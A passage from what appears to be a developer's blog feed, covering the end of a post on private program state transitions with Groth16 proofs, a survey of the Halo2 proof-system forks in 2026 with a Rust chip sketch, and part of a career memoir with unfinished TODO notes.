<p>Complex programs need IVC. PPST extends naturally: decompose the computation into $T$ uniform steps each running $C_{\mathsf{step}}$, fold them with Nova or SuperNova, then wrap the final accumulator in a Groth16 decider proof. <strong>The on-chain verifier always sees a constant-size 128-byte proof regardless of $T$.</strong> Off-chain proving is $O(T \cdot |C_{\mathsf{step}}|)$ but the chain doesn&#39;t care.</p>
<h2>Theorem 3.6 — PPST soundness</h2>
<p><strong>Statement.</strong> If Groth16 is knowledge-sound and Poseidon is collision-resistant, no PPT adversary can cause the PPST verifier to accept a transaction corresponding to an invalid state transition (one where $C(\mathsf{state}<em>{\mathsf{pre}}, \mathsf{aux}) \neq \mathsf{state}</em>{\mathsf{post}}$) except with negligible probability.</p>
<p><strong>Proof sketch.</strong> Suppose $\mathcal{A}$ produces a valid PPST transaction whose underlying transition is invalid. By Groth16 knowledge soundness, the extractor $\mathcal{E}$ recovers a witness $w^<em>$ satisfying constraints P1–P9 — including P5: $C(\mathsf{state}^</em><em>{\mathsf{pre}}, \mathsf{aux}^<em>) = \mathsf{state}^</em></em>{\mathsf{post}}$. Direct contradiction. ∎</p>
<p><strong>Corollary (State Integrity).</strong> The state tree $\mathcal{T}_S$ maintains the invariant that every leaf is a commitment to a state that resulted from a valid execution of an authorized program starting from a previously valid state. By induction on accepted transactions, this invariant holds at all times.</p>
<h2>Theorem 3.7 — PPST zero-knowledge</h2>
<p><strong>Statement.</strong> PPST reveals nothing about $\mathsf{state}<em>{\mathsf{pre}}$, $\mathsf{state}</em>{\mathsf{post}}$, $\mathsf{aux}$, or the internal logic of $C$ beyond the public outputs.</p>
<p><strong>Proof sketch.</strong> Direct from perfect ZK of Groth16. The simulator $\mathcal{S}$ depends only on the public instance $x$, not on the witness. For any two valid witnesses $w_0, w_1$ consistent with the same $x$, the proof distributions are identical.</p>
<p>What does leak:</p>
<ul>
<li><strong><code>program_id</code></strong> is intentionally public. It identifies which program executed so the verifier can pick the right verification key. <em>Full function privacy</em> (hiding the program identity) requires a universal circuit or a commitment-to-vk argument and is left as a future extension.</li>
<li>The fact that <em>some</em> state transition occurred under that program.</li>
<li>The fee $f$.</li>
</ul>
<p>What does not leak:</p>
<ul>
<li>The specific state values.</li>
<li>The auxiliary inputs.</li>
<li>Which specific leaf in $\mathcal{T}_S$ was consumed.</li>
</ul>
<h2>Theorem 3.8 — PPST-SPST composability</h2>
<p>This is the magic. PPST and SPST compose into a single atomic transaction: <strong>execute a private program AND transfer shielded value, in one ZK proof.</strong></p>
<p>Construct the composite relation $\mathcal{R}<em>{\mathsf{PPST+SPST}} = \mathcal{R}</em>{\mathsf{PPST}} \wedge \mathcal{R}_{\mathsf{SPST}}$ with a <em>linking constraint</em>:</p>
<p>$$
\mathsf{link} ;=; \mathsf{Poseidon}(\mathsf{nf}_{\mathsf{state}}, \mathsf{nf}_1, \ldots, \mathsf{nf}_n)
$$</p>
<p>binding the PPST state nullifier to the SPST input nullifiers. Both sub-proofs reference the same <code>link</code> value as a public input.</p>
<p>Cross-constraint (Value Mediation): if the program outputs a transfer amount $\Delta v$, the SPST component enforces</p>
<p>$$
\sum_i v^{(\mathsf{SPST})}<em>{\mathsf{in},i} ;=; \sum_j v^{(\mathsf{SPST})}</em>{\mathsf{out},j} ;+; f ;+; \Delta v_{\mathsf{to_program}}.
$$</p>
<p>That is — value flowing from the SPST shielded pool <em>into</em> the program&#39;s state (or out of it) is reconciled inside the proof. An observer cannot tell whether the program consumed value, produced value, or merely transferred it.</p>
<p><strong>Practical realisation.</strong> For a moderate program ($N_C \sim 50{,}000$):</p>
<p>$$
N_{\mathsf{comp}} = N_{\mathsf{PPST}} + N_{\mathsf{SPST}} + N_{\mathsf{link}} ;\approx; (50{,}000 + 25{,}000) + 24{,}000 + 400 ;\approx; 100{,}000 \text{ constraints}.
$$</p>
<p>Groth16 prover time on commodity hardware: 5–10 seconds. <strong>Single 128-byte proof on-chain.</strong> ~200,000 CU verification cost on Solana.</p>
<h2>Comparison with Aleo and Aztec</h2>
<p>&lt;TradeoffTable rows={[
  { aspect: &#39;PPST (this work)&#39;,
    pros: &#39;Composes with SPST atomically; deployable as Solana smart-contract layer; relayer-free; 128-byte Groth16 proof&#39;,
    cons: &#39;program_id leaks (no function privacy); per-program Groth16 ceremony; complex programs need IVC&#39; },
  { aspect: &#39;Aleo records model (ZEXE)&#39;,
    pros: &#39;Universal Marlin/Varuna SRS; native L1 chain with prover marketplace; relayer-free&#39;,
    cons: &#39;Requires its own L1; program ID also visible; delegated proving leaks witness&#39; },
  { aspect: &#39;Aztec PXE + AVM&#39;,
    pros: &#39;Universal PLONK/Honk SRS; Noir DSL; client-side proving; relayer-free via FPCs&#39;,
    cons: &#39;L2 rollup architecture (separate sequencer); function call boundary L→public visible&#39; },
]}/&gt;</p>
<p>The thing PPST gets that Aleo and Aztec don&#39;t is <strong>deployment as a protocol layer on a high-performance Layer-1</strong>. Aleo and Aztec each require running their own consensus or sequencer. PPST runs as a Solana program on the same validators as Jupiter and Helium — inheriting Solana&#39;s TPS, finality, and infrastructure.</p>
<h2>What&#39;s left</h2>
<p>PPST plus SPST gives us private value + private computation. That&#39;s two of the three privacy properties. The remaining gap is <strong>submitter anonymity</strong>: even with a perfect ZK proof, the wrapping Solana transaction is signed by an Ed25519 key whose public key is on-chain. Address graph analysis trivially links the &quot;private&quot; transaction to the submitter&#39;s identity.</p>
<p>The next post is about closing that gap — without a relayer, without a mixing service, and without a separate L1.</p>
<h2>Bibliography</h2>
<ul>
<li>Bowe, S., Chiesa, A., Green, M., Miers, I., Mishra, P., Wu, H. (2020). <em>ZEXE: Enabling Decentralized Private Computation.</em> IEEE S&amp;P 2020.</li>
<li>Chiesa, A., Hu, Y., Maller, M., Mishra, P., Vesely, N., Ward, N. (2020). <em>Marlin: Preprocessing zkSNARKs with Universal and Updatable SRS.</em> EUROCRYPT 2020. <a href="https://eprint.iacr.org/2019/1047">https://eprint.iacr.org/2019/1047</a></li>
<li>Aztec Network. <em>Client-side Proof Generation.</em> <a href="https://aztec.network/blog/client-side-proof-generation">https://aztec.network/blog/client-side-proof-generation</a></li>
<li>Kothapalli, A., Setty, S., Tzialla, I. (2022). <em>Nova: Recursive Zero-Knowledge Arguments from Folding Schemes.</em> <a href="https://eprint.iacr.org/2021/370">https://eprint.iacr.org/2021/370</a></li>
<li>Noir Language Documentation. <a href="https://noir-lang.org/docs/">https://noir-lang.org/docs/</a></li>
</ul>
<p>Previous: <a href="/blog/spst_self_paying_shielded_transactions/">SPST: self-paying shielded transactions ←</a> · Next: <a href="/blog/tab_threshold_anonymous_broadcast/">TAB: threshold-anonymous broadcast →</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Halo2 in 2026: what changed since the Zcash era]]></title>
  <id>https://blog.skill-issue.dev/blog/halo2_in_2026_what_changed/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/halo2_in_2026_what_changed/"/>
  <published>2026-05-01T15:30:00.000Z</published>
  <updated>2026-05-01T15:30:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="halo2"/>
  <category term="plonk"/>
  <category term="zcash"/>
  <category term="kzg"/>
  <category term="lookups"/>
  <category term="zk"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[A survey of the Halo2 ecosystem six years after the Zcash team published it — what stayed the same (PLONKish, lookups, IPA), what evolved (KZG, gadget libraries, fork landscape), and what we ship today.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, RustPlayground, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>When Zcash open-sourced <a href="https://github.com/zcash/halo2">Halo2</a> in 2020, it was a research artefact attached to a single deployment target — Zcash&#39;s Orchard pool — and a single arithmetisation choice — IPA over the Pasta cycle of curves. Six years later it is a small ecosystem of forks, used by Scroll, Taiko, Axiom, and roughly half the EVM rollups under construction in 2026. The original repository has been in maintenance mode since 2024.</p>
<p>This post is the orientation I wish someone had handed me when I started auditing Halo2 circuits seriously. <em>What stayed the same?</em> The arithmetisation. The lookup argument. The mental model of <em>chips inside regions inside columns</em>. <em>What evolved?</em> The polynomial commitment scheme, the curve choices, the gadget library, and most of all the fork landscape. By the end you should have a defensible answer to &quot;which Halo2 do you mean?&quot; — which is the question every serious ZK conversation in 2026 reduces to within five minutes.</p>
<Aside kind="note">
This is the third post in a [PhD-by-publication track](/about) on production ZK proof systems. It assumes you've at least read the wikipedia page on PLONK; if you want the underlying arithmetic, [Circom, by example](/blog/circom_by_example/) covers R1CS first and Halo2's PLONKish substrate is a generalisation of that.
</Aside>

<h2>What stayed: the PLONKish arithmetisation</h2>
<p>The shape of a Halo2 circuit hasn&#39;t changed since 2020. You define <strong>columns</strong> — advice (witness), fixed (constants), and instance (public inputs) — and a <strong>rectangular grid</strong> of cells indexed by row and column. The prover assigns values to advice cells; the constraint system asserts polynomial relations on those values, evaluated at every row.</p>
<p>Three families of constraints make up a Halo2 circuit:</p>
<ol>
<li><strong>Custom gates.</strong> A polynomial identity that must hold on every row, possibly gated by a selector column. <code>q_mul · (a · b - c) = 0</code> is the canonical example: when <code>q_mul = 1</code>, the constraint forces <code>a · b = c</code>; when <code>q_mul = 0</code>, the constraint vanishes.</li>
<li><strong>Permutation arguments.</strong> Cells that should be equal across rows or columns are wired into a permutation. This is what gives you &quot;this output of gate A is the input to gate B&quot; without paying the cost of an extra constraint per copy.</li>
<li><strong>Lookup arguments.</strong> A cell must be in some pre-declared table. This is what makes range checks ($x &lt; 2^{16}$) cost ~1 row per check instead of 16, and what makes XOR / S-box / SHA tables tractable inside a SNARK.</li>
</ol>
<p>The novelty in 2020 wasn&#39;t any single one of those — PLONK had given us custom gates and permutations, plookup had given us lookups — but the <em>combination</em>, the <em>user-facing API</em> (chips, regions, layouters), and the <em>recursion-friendly proof system</em> underneath it.</p>
<p>The arithmetisation is so durable that every Halo2 fork in 2026 still uses the same <code>Circuit</code> trait, the same <code>Layouter</code>, the same <code>Region</code>, the same <code>Selector</code>. If you wrote a Halo2 chip in 2021, it compiles in 2026 against PSE-Halo2 with one or two trait-bound tweaks. That&#39;s an extraordinary track record for a 6-year-old framework.</p>
<h2>What evolved: from IPA to KZG</h2>
<p>The original Zcash Halo2 used <strong>IPA</strong> (inner-product argument) over the Pasta cycle of curves (Pallas + Vesta). That choice was deliberate: IPA needs <em>no trusted setup</em>, and the Pasta cycle let Zcash do recursion without pairings. Beautiful in theory; expensive in practice. IPA proofs are kilobytes; verification is logarithmic in circuit size and dominated by group operations.</p>
<p>The dominant 2026 fork — Privacy Scaling Explorations&#39; <a href="https://github.com/privacy-scaling-explorations/halo2"><code>privacy-scaling-explorations/halo2</code></a> — replaced IPA with <strong>KZG</strong> over BN254. The trade-off:</p>
<ul>
<li><strong>You give up:</strong> trustless setup. KZG needs a Powers-of-Tau ceremony.</li>
<li><strong>You get:</strong> constant-size proofs (~600 bytes), pairing-based verification that&#39;s an order of magnitude cheaper, and Solidity verifier compatibility — which is the single feature that turned Halo2 from &quot;Zcash internal tool&quot; into &quot;the EVM rollup substrate&quot;.</li>
</ul>
<p>This is the trade-off every serious ZK design makes once. (The same trade-off shows up in <a href="/blog/plonky3_small_fast_cheap/">Plonky3, the small-fast-cheap revolution</a> on a different axis.) Trusted setup is back on the table in 2026 because the Ethereum KZG ceremony — 140,000+ participants — is <em>good enough</em> for the threat model most rollups operate under. See <a href="/blog/on_the_death_of_the_trusted_setup/">On the death of the trusted setup</a> for the argument.</p>
<p>&lt;Mermaid chart={<code>flowchart TB   Z[Zcash Halo2 - 2020] --&gt; I[IPA + Pasta curves]   Z --&gt; P[PLONKish + lookups + chips]   P --&gt; P1[Custom gates]   P --&gt; P2[Permutations]   P --&gt; P3[Lookups]   Z --&gt; F[Forks 2022-2026]   F --&gt; PSE[PSE Halo2 - KZG over BN254]   F --&gt; AX[Axiom fork]   F --&gt; SCROLL[Scroll fork]   F --&gt; ZK[zkEVM forks: Taiko, Linea]   PSE --&gt; SOL[Solidity verifier compat]   PSE --&gt; M[Maintenance mode Jan 2025]   AX --&gt; ACTIVE[Active 2026]   classDef ship fill:#0a4014,stroke:#4ade80,color:#fff   classDef warn fill:#3a2a0a,stroke:#facc15,color:#fff   class SOL ship   class ACTIVE ship   class M warn</code>}/&gt;</p>
<h2>The fork landscape in 2026</h2>
<table>
<thead>
<tr>
<th>Fork</th>
<th>Backend</th>
<th>Status</th>
<th>What it&#39;s for</th>
</tr>
</thead>
<tbody><tr>
<td><code>zcash/halo2</code></td>
<td>IPA, Pasta</td>
<td>Maintenance / archival</td>
<td>The reference, where the model originated</td>
</tr>
<tr>
<td><code>privacy-scaling-explorations/halo2</code></td>
<td>KZG, BN254</td>
<td>Maintenance since Jan 2025</td>
<td>The EVM-compatible workhorse</td>
</tr>
<tr>
<td><code>axiom-crypto/halo2-axiom</code></td>
<td>KZG, BN254</td>
<td>Active</td>
<td>The PSE successor for new features</td>
</tr>
<tr>
<td>Scroll&#39;s <code>halo2</code></td>
<td>KZG, BN254</td>
<td>Active inside Scroll</td>
<td>zkEVM-tuned, custom gates for EVM ops</td>
</tr>
<tr>
<td><code>appliedzkp/halo2-base</code></td>
<td>KZG, BN254</td>
<td>Active</td>
<td>Higher-level chip-authoring API on top of PSE / Axiom</td>
</tr>
</tbody></table>
<p>The headline event of 2025 was that PSE-Halo2 went into maintenance and the community migrated to Axiom&#39;s fork as the upstream for new feature work. Existing deployments did not move — the API surface is identical and PSE-Halo2 still receives security backports — but the energy is on <code>axiom-crypto/halo2-axiom</code> and on <code>halo2-base</code> for ergonomic chip authoring.</p>
<Aside kind="shipped">
Inside [zera-sdk](/blog/zera_sdk_scaffolding/) we don't ship Halo2 today — the deposit/transfer/withdraw circuits are Circom + Groth16 because of zkey size and Solana's verifier syscall surface. But the off-ramp circuit (where users withdraw to Ethereum) is on PSE-Halo2, because Solidity-verifier support is non-negotiable on the EVM side. We pin to a specific PSE commit and re-vendor it; we do not track main.
</Aside>

<h2>What evolved: gadgets, lookups, and the Lagrange-form witness</h2>
<p>Three quieter shifts since 2022 actually changed how circuits are written:</p>
<p><strong>Gadget libraries got serious.</strong> The original Halo2 shipped with <code>halo2_gadgets::poseidon</code> and not much else. By 2026 the <a href="https://github.com/axiom-crypto/halo2-lib"><code>halo2-base</code></a> and <a href="https://github.com/axiom-crypto/halo2-axiom"><code>halo2-axiom</code></a> crates ship range checks, ECC, Poseidon, Keccak, RSA, ECDSA, BN254 pairing, and a battery of lookup tables shared across circuits. The &quot;I have to hand-roll a SHA chip&quot; era is over for 90% of use cases.</p>
<p><strong>Lookups became table-shareable.</strong> Halo2&#39;s original lookup design assumed each circuit declared its own tables. With circuits hitting 10 million rows, <em>table reuse</em> across sub-circuits became necessary. Both Axiom and PSE landed APIs for declaring a lookup table once and binding it across regions. The constraint-count savings on big circuits are 30–50%.</p>
<p><strong>Lagrange-form witness committed.</strong> The witness used to be committed in coefficient form, requiring an NTT before commitment. Modern forks commit in <em>Lagrange</em> form (point-value), saving an NTT per commitment. On large circuits this is a 15–20% prover-time win — the kind of thing that doesn&#39;t show up in marketing copy and matters enormously when you&#39;re proving a million constraints.</p>
<h2>A skeleton chip you can read in 30 seconds</h2>
<p>Halo2 chips look intimidating. They are not. The shape is: declare the columns you need, declare the constraints in <code>configure</code>, and use them in <code>synthesize</code>. Below is a contrived multiplier chip — the smallest Halo2 chip that does anything — written against the kind of trait surface every fork shares.</p>
<RustPlayground edition="2024" title="halo2 multiplier chip — sketch">
{`// Sketch of a Halo2 multiplier chip — c = a * b per row.
// Will not compile standalone; depends on halo2_proofs traits.
// Treat as the structural shape, not a runnable program.

<p>use std::marker::PhantomData;</p>
<p>// Stand-in types so the file is self-documenting.
struct Column<T>(PhantomData<T>);
struct Selector;
struct Cell<F>(PhantomData<F>);
trait Field {}</p>
<p>// === The chip&#39;s column layout ===
struct MulConfig {
    a: Column&lt;()&gt;,        // advice (witness)
    b: Column&lt;()&gt;,        // advice
    c: Column&lt;()&gt;,        // advice
    q_mul: Selector,      // selector — turns the gate on or off
}</p>
<p>struct MulChip&lt;F: Field&gt; {
    config: MulConfig,
    _marker: PhantomData<F>,
}</p>
<p>impl&lt;F: Field&gt; MulChip<F> {
    // configure() is called once at circuit-definition time. It declares
    // which columns are used and what custom gates fire on which selectors.
    pub fn configure(/* meta: ConstraintSystem<F> */) -&gt; MulConfig {
        // Pseudocode for the constraint system:
        //
        //   meta.create_gate(&quot;multiplier&quot;, |meta| {
        //       let a = meta.query_advice(a, Rotation::cur());
        //       let b = meta.query_advice(b, Rotation::cur());
        //       let c = meta.query_advice(c, Rotation::cur());
        //       let q = meta.query_selector(q_mul);
        //       vec![ q * (a * b - c) ]
        //   });
        //
        // The vec![] returned must evaluate to 0 on every row where q_mul = 1.
        //
        // That single line — q * (a * b - c) — is the ENTIRE arithmetisation
        // of the multiplier. Permutation arguments handle copy-equality;
        // lookup arguments handle range checks; everything else is layered
        // on top of this primitive.
        unimplemented!(&quot;see halo2_proofs::plonk::ConstraintSystem&quot;)
    }</p>
<pre><code>// synthesize() is called once per proof. It assigns concrete values
// to advice cells.
pub fn assign_mul(&amp;self, /* layouter, */ a_val: F, b_val: F) -&gt; Cell&lt;F&gt; {
    // Pseudocode:
    //
    //   layouter.assign_region(|| &quot;mul&quot;, |mut region| {
    //       self.config.q_mul.enable(&amp;mut region, 0)?;
    //       region.assign_advice(|| &quot;a&quot;, self.config.a, 0, || Ok(a_val))?;
    //       region.assign_advice(|| &quot;b&quot;, self.config.b, 0, || Ok(b_val))?;
    //       let c_val = a_val * b_val;
    //       region.assign_advice(|| &quot;c&quot;, self.config.c, 0, || Ok(c_val))
    //   })
    unimplemented!(&quot;see halo2_proofs::circuit::Layouter&quot;)
}
</code></pre>
<p>}</p>
<p>fn main() {
    // The shape above generalises to every chip in halo2-axiom and
    // halo2-base. Configure once; assign per proof; gate constraints with
    // selectors so chips can coexist on the same columns.
    println!(&quot;see axiom-crypto/halo2-lib for production examples&quot;);
}
`}
</RustPlayground></p>
<h2>The proving-time tradeoff in 2026</h2>
<p>&lt;TradeoffTable
  rows={[
    {
      option: &quot;Halo2 (PSE, KZG/BN254)&quot;,
      cost: &quot;Powers-of-Tau ceremony required (Ethereum KZG works); ~MB-scale srs&quot;,
      latency: &quot;Slower per-shot than Groth16; lookups make constraint-heavy circuits cheap&quot;,
      blast_radius: &quot;Maintenance since Jan 2025; security backports only&quot;,
      notes: &quot;Default for EVM rollup verifiers; Solidity verifier ships&quot;
    },
    {
      option: &quot;Halo2 (Axiom fork)&quot;,
      cost: &quot;Same SRS as PSE; new features land here&quot;,
      latency: &quot;Same baseline as PSE; gadget library more complete&quot;,
      blast_radius: &quot;Active 2026; the upstream for new circuits&quot;,
      notes: &quot;What I&#39;d pick for a greenfield Halo2 deployment in 2026&quot;
    },
    {
      option: &quot;arkworks PLONK&quot;,
      cost: &quot;Library, not a DSL; circuits are Rust types&quot;,
      latency: &quot;Comparable to Halo2; less optimised gadget library&quot;,
      blast_radius: &quot;Research-grade; smaller ecosystem&quot;,
      notes: &quot;Where novel proof systems get prototyped&quot;
    },
    {
      option: &quot;Plonky3&quot;,
      cost: &quot;STARK/PLONK hybrid; small-field; FRI-based&quot;,
      latency: &quot;Fast on consumer hardware due to Mersenne31 / BabyBear&quot;,
      blast_radius: &quot;Production at Polygon; growing ecosystem&quot;,
      notes: &quot;Pick this when you don&#39;t need EVM verification&quot;
    },
  ]}
  caption=&quot;Four PLONKish-family proof systems in 2026. Halo2&#39;s two forks dominate EVM use; arkworks is where research lives; Plonky3 is where new performance wins are coming from.&quot;
/&gt;</p>
<h2>When to actually pick Halo2 in 2026</h2>
<p>The honest 2026 answer:</p>
<ul>
<li><strong>Pick Halo2 (Axiom fork) when</strong> your target is the EVM, your circuit is dominated by lookups (range checks, table-driven hash functions, RLC-heavy state-transition circuits), and you want a battle-tested gadget library.</li>
<li><strong>Don&#39;t pick Halo2 when</strong> your target is a non-EVM L1 (Solana, Aptos) where Solidity verifiers don&#39;t help, when your circuit is small (under ~5,000 constraints — Groth16 is faster per shot), or when you need transparent setup (use Plonky3 / RISC0).</li>
</ul>
<h2>What I&#39;d build differently if I were Halo2 in 2027</h2>
<p>Three things, in order of how much I&#39;d actually use them:</p>
<ol>
<li><strong>Native folding integration.</strong> Halo2&#39;s original recursion path (IPA + Pasta cycle) was elegant but slow. A folding scheme — Nova, ProtoStar, HyperNova — bolted onto KZG-Halo2 would unlock zkVMs and batch proving without a rewrite. Several teams are working on this; nothing is in main yet.</li>
<li><strong>A real type system for chips.</strong> <code>Cell&lt;F&gt;</code> is structurally typed by row/column position. There&#39;s no compile-time guarantee that &quot;this cell holds a u8&quot; or &quot;this cell holds a Boolean&quot; without re-asserting it inside every chip. A phantom-type-driven cell typing would catch a class of audit findings before the auditor ever opens the file.</li>
<li><strong>A standardised lookup-table registry.</strong> Range checks, byte tables, S-box tables — every fork ships its own. A shared <code>halo2-tables</code> crate, content-addressed and reusable, would prevent the &quot;every circuit re-declares the same range-16 table&quot; anti-pattern.</li>
</ol>
<p>I expect (1) within a year and (2)/(3) never. Halo2 is in the <em>durable</em> phase of its life — the kind of framework you build <em>on</em>, not <em>into</em>.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://zcash.github.io/halo2/">The Halo2 Book</a> — Zcash&#39;s canonical guide to the original framework</li>
<li><a href="https://eprint.iacr.org/2019/1021">Halo: Recursive Proof Composition without a Trusted Setup</a> — Bowe, Grigg, Hopwood (2019, last revised Feb 2020) — the paper Halo2 names itself after</li>
<li><a href="https://eprint.iacr.org/2019/953">PLONK: Permutations over Lagrange-bases for Oecumenical Noninteractive arguments of Knowledge</a> — Gabizon, Williamson, Ciobotaru (2019) — the underlying arithmetisation</li>
<li><a href="https://github.com/privacy-scaling-explorations/halo2"><code>privacy-scaling-explorations/halo2</code></a> — the KZG fork that drove EVM adoption</li>
<li><a href="https://github.com/axiom-crypto/halo2-lib"><code>axiom-crypto/halo2-lib</code></a> — the gadget library to build on in 2026</li>
<li><a href="/blog/circom_by_example/">Circom, by example</a> — the R1CS sister-substrate; useful comparison for arithmetisation cost models</li>
<li><a href="/blog/on_the_death_of_the_trusted_setup/">On the death of the trusted setup</a> — why KZG is fine even in a transparent-setup era</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[From sailor to CEO in three acts]]></title>
  <id>https://blog.skill-issue.dev/blog/sailor_to_ceo_three_acts/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/sailor_to_ceo_three_acts/"/>
  <published>2026-05-01T08:00:00.000Z</published>
  <updated>2026-05-01T08:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="career"/>
  <category term="narrative"/>
  <category term="navy"/>
  <category term="foundry"/>
  <category term="consensys"/>
  <category term="zera"/>
  <category term="memoir"/>
  <summary type="html"><![CDATA[A short memoir of a strange decade — Navy reactor compartments, a bitcoin mine, ConsenSys-USAA-PMG, and the arc that ended at Zera Labs. The interesting question is not how I got here. It is where everyone else is going.]]></summary>
  <content type="html"><![CDATA[<p>This blog has accumulated, at this point, several long-form posts covering individual chapters of how I got from a Navy reactor compartment to running Zera Labs. The <a href="/blog/nuclear_reactors_taught_me_to_ship/">Navy origin post</a>. The <a href="/blog/what_running_a_bitcoin_mine_taught_me/">Foundry post</a>. The <a href="/blog/why_i_started_zera_labs/">founding letter</a>. The <a href="/blog/being_ceo_and_still_shipping_code/">CEO-still-shipping post</a>.</p>
<p>This is the shorter post that exists because <em>people who don&#39;t read the long posts</em> still ask the question. <em>How did the Navy guy end up building a ZK SDK?</em> The version that fits on LinkedIn. Three acts. One arc.</p>
<p>I&#39;ll keep it under two thousand words.</p>
<h2>Act one: the watch</h2>
<p>I came up as a Nuclear Electronics Technician in the US Navy. The Navy nuclear pipeline is — there is no nice way to say this — an unreasonable amount of school. You go through a screening that washes out most of the people who applied. Then you go through Nuclear Power School, which is twenty-six weeks of physics, reactor theory, thermo, fluids, and mathematics at a pace that is calibrated to break you exactly enough to find out whether you bend back. Then you go through prototype, where you actually run a real reactor, in a real plant, for thousands of hours of supervised watchstanding. Then you go to a hull, which is when the actual job starts.</p>
<p>Along the way you are taught — not as a soft skill, but as a hard skill — that the panel does not lie, the procedure is the contract, and the most dangerous person on the watchstation is the one who decides the indications are <em>probably</em> fine.</p>
<p>I got out with a stack of qualifications, a security clearance whose paperwork I am still slightly anxious about, and a bone-deep instinct for how safety-critical engineering is actually done. That instinct does not show up on a resume. You only see it when the system is on fire, and even then you only see it as the absence of panic.</p>
<p>If you want the long version: <em><a href="/blog/nuclear_reactors_taught_me_to_ship/">Nuclear reactors taught me to ship software</a>.</em></p>
<h2>Act two: the chips and the code</h2>
<p>Out of the Navy, I took an unexpected detour through industrial Bitcoin mining at <strong>Foundry Digital</strong>. (<code>TODO: Dax confirm length of stint and exact role title — keeping the short version short here.</code>) ASICs in racks. Megawatts of power. Heat going out by every method physics allows. The unit economics live on a five-input spreadsheet, and the spreadsheet does not lie either.</p>
<p>The thing nobody tells you about working in mining operations is that <em>it is the closest thing the modern economy has to a reactor compartment</em>. The discipline transfers exactly. The watchstanding is the same. The brutal physical immediacy of a ten-thousand-amp electrical bus is a familiar object to a former reactor electronics tech. So I did a chapter, learned what I needed to learn about the depreciation curve and the cost of an electron, and moved on.</p>
<p>If you want the long version: <em><a href="/blog/what_running_a_bitcoin_mine_taught_me/">What running a Bitcoin mine taught me about cloud margins</a>.</em></p>
<p>After Foundry I went where most former-military, vaguely-technical thirty-somethings end up: into software. <strong>PMG</strong> first (<code>TODO: Dax confirm</code>). Then <strong>USAA</strong> (<code>TODO: Dax confirm</code>). Then <strong>ConsenSys</strong>, which is where the Web3 part of the story started — open-source work across the product surface, mentoring junior engineers, and starting to speak publicly at <em>Permissionless</em> and <em>EthGlobal</em> on developer experience and supply-chain risk.</p>
<p>The supply-chain risk thread is the one that became the <a href="/blog/rusty_pipes/">Rusty Pipes series</a> on this blog — a research thread on Rust binaries injected into npm packages, which is the kind of attack that is funny on a slide and very much not funny in a customer&#39;s CI. The series is the longest-running thing I&#39;ve written and the thing I am most consistently invited to talk about. It also lined up, in a way I did not plan, with the technical posture I&#39;d later need at Zera Labs: <em>the moment your dependency surface is non-trivial, the registry becomes your threat model, not your library.</em></p>
<p>In act two I learned to ship software the way the modern industry ships it. Continuous deployment. Cloud-native everything. PR review culture, sometimes good, sometimes bad. I learned what a senior IC actually does, then I learned what a staff engineer actually does, then I started to notice that the ceiling was not where the interesting problems were.</p>
<h2>Act three: the company</h2>
<p>The third act starts with three things being true at the same time, in the same year. ZK got fast enough to be boring. Solana got cheap enough to make tokenisation a <em>naming</em> decision instead of a budgeting decision. AI agents stopped being demos and started being tools that needed to interact with money. Sitting at the intersection of those three things, I incorporated <strong>Zera Labs</strong>.</p>
<p>The technical surface — visible in <a href="https://github.com/Dax911">github.com/Dax911</a> — is the <a href="https://github.com/Dax911/zera-sdk">zera-sdk</a> (Solana-native ZK SDK with a Rust core), <a href="https://github.com/Dax911/zera-wallet-demo">zera-wallet-demo</a> (Tauri 2 with Groth16 in WASM), <a href="https://github.com/Dax911/z_trade">z_trade</a> (zeraswap — first compressed-token AMM on Solana), <a href="https://github.com/Dax911/zera_med_demo">zera_med_demo</a> (a ZK-FHIR gateway because someone asked us to prove it works for things other than crypto bros), and a public Zera Design System we use across the product. Plus an MCP server for AI agents to call any of it. We are small (<code>TODO: Dax confirm headcount when comfortable disclosing</code>), the work is technically dense, and the schedule is short.</p>
<p>If you want the long version: <em><a href="/blog/why_i_started_zera_labs/">Why I started Zera Labs</a></em>. If you want the inside-the-week version: <em><a href="/blog/being_ceo_and_still_shipping_code/">Being CEO and still shipping code</a></em>.</p>
<h2>What the arc actually is</h2>
<p>Looking at the three acts side by side, the arc is not &quot;Navy guy gets into crypto.&quot; That is the LinkedIn-recruiter version. The actual arc is something narrower:</p>
<blockquote>
<p>Each chapter forced me to take seriously the gap between <em>the system is correct</em> and <em>I have correctly observed that the system is correct.</em></p>
</blockquote>
<p>In the Navy that gap is closed by watchstanding, two-person verification, and casualty drills. In mining it is closed by telemetry, redundant temperature sensors, and on-call. In software at scale (PMG → USAA → ConsenSys) it is closed by tests, code review, and post-mortems. In ZK it is closed by a Groth16 proof — a piece of math that <em>is</em> the closure of the gap. The whole story, condensed, is that I kept moving up the stack of &quot;ways to know that the system is correct,&quot; and each step gave me a little more leverage than the last.</p>
<p>The reactor watchstander&#39;s tools are slow, expensive, and limited to a single plant. The miner&#39;s tools are faster and parallel, but only over a single workload. The senior IC&#39;s tools are general-purpose but soft — they assume an honest reviewer. The cryptographic tools at the end of the arc are general-purpose, fast, <em>and</em> don&#39;t assume an honest reviewer. They are, in a real sense, what every prior chapter was reaching for.</p>
<p>If I had to pin the arc to one sentence I&#39;d say: <em>I have spent fifteen years getting better at proving that systems are doing what they claim to be doing</em>, and the most productive place to do that work, today, is at a company whose entire surface is about producing those proofs.</p>
<h2>What I&#39;d tell my younger selves</h2>
<p>Three notes to three different versions of me — because I find this is the most useful summary for people whose careers are a few chapters earlier than mine.</p>
<p>To the kid in the reactor compartment: the discipline you are absorbing is the most valuable thing you are going to learn, and you will not realise this until you have been out for five years. Don&#39;t lose the watchstanding habits. Don&#39;t soften the procedure-in-hand instinct. Find a civilian career where they still apply.</p>
<p>To the operator at the mining site: pay attention to the unit economics. The five-input spreadsheet is a model that generalises beyond mining. Carry it with you. Whatever business you eventually find yourself in, you will be able to think about it more clearly than the people around you because you have seen what real unit economics actually look like.</p>
